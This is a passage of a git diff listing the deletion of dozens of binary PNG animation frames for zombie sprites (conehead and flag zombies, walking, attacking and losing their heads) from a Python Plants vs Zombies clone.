Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_13.png deleted file mode 100644 index 9a57287e377..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_14.png deleted file mode 100644 index 3c755d4aa28..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_15.png deleted file mode 100644 index 6009edd232c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_16.png deleted file mode 100644 index ab140fef3c8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_17.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_17.png deleted file mode 100644 index 3fa7ce587e9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_17.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_18.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_18.png deleted file mode 100644 index 7ed06b73e9e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_18.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_19.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_19.png deleted file mode 100644 index 08a44cac92d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_19.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_2.png deleted file mode 100644 index 4272d89e946..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_20.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_20.png deleted file mode 100644 index c84bd94800c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_20.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_3.png deleted file mode 100644 index 81a6104ee49..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_4.png deleted file mode 100644 index 34dfa04cdb7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_5.png deleted file mode 100644 index 81fee65959d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_6.png deleted file mode 100644 index 2e6a766f3b8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_7.png deleted file mode 100644 index d4d9300aebf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_8.png deleted file mode 100644 index 55af494cfec..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_9.png deleted file mode 100644 index 16fb9efee6d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_0.png deleted file mode 100644 index f82d4cf28fb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_1.png deleted file mode 100644 index c120c2247e3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_10.png deleted file mode 100644 index 94c122b7954..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_2.png deleted file mode 100644 index 962feee244e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_3.png deleted file mode 100644 index d8c09fa31e6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_4.png deleted file mode 100644 index 0f357aa6a53..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_5.png deleted file mode 100644 index 3ed7f36baf9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_6.png deleted file mode 100644 index fb9f82788e4..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_7.png deleted file mode 100644 index eb8f498459e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_8.png deleted file mode 100644 index d0e87cabcb5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_9.png deleted file mode 100644 index 8321a061851..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombieAttack/ConeheadZombieAttack_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_0.png deleted file mode 100644 index 4c9c9066d56..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_1.png deleted file mode 100644 index 2e9ee099d87..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_10.png deleted file mode 100644 index 2bffc8c23e1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_11.png deleted file mode 100644 index b0e2656ed4a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_2.png deleted file mode 100644 index 0d14f702fd2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_3.png deleted file mode 100644 index 123498bb568..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_4.png deleted file mode 100644 index 6fd048e2aec..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_5.png deleted file mode 100644 index cfcc9933bb0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_6.png deleted file mode 100644 index 57190e455c2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_7.png deleted file mode 100644 index 56cdffb0315..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_8.png deleted file mode 100644 index fd72dcb3342..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_9.png deleted file mode 100644 index 725e120d116..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombie/FlagZombie_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_0.png deleted file mode 100644 index 9d6b4a1813f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_1.png deleted file mode 100644 index 8c8e8617d73..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_10.png deleted file mode 100644 index 4002b07c5ac..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_2.png deleted file mode 100644 index 067852360ce..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_3.png deleted file mode 100644 index 6288f9c167a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_4.png deleted file mode 100644 index 484a227790c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_5.png deleted file mode 100644 index d7d5936320c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_6.png deleted file mode 100644 index c2c68df74b7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_7.png deleted file mode 100644 index 5a85555919a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_8.png deleted file mode 100644 index 88cbc5feff5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_9.png deleted file mode 100644 index 7729754877f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieAttack/FlagZombieAttack_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_0.png deleted file mode 100644 index 29460ea9c4e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_1.png deleted file mode 100644 index 379a8dc70cd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_10.png deleted file mode 100644 index be1fe97f860..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_11.png deleted file mode 100644 index 16f4fc877c0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_2.png deleted file mode 100644 index 2d314872936..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_3.png deleted file mode 100644 index 6990d217bc0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_4.png deleted file mode 100644 index f155716f40f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_5.png deleted file mode 100644 index d0baab76be4..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_6.png b/Add Code 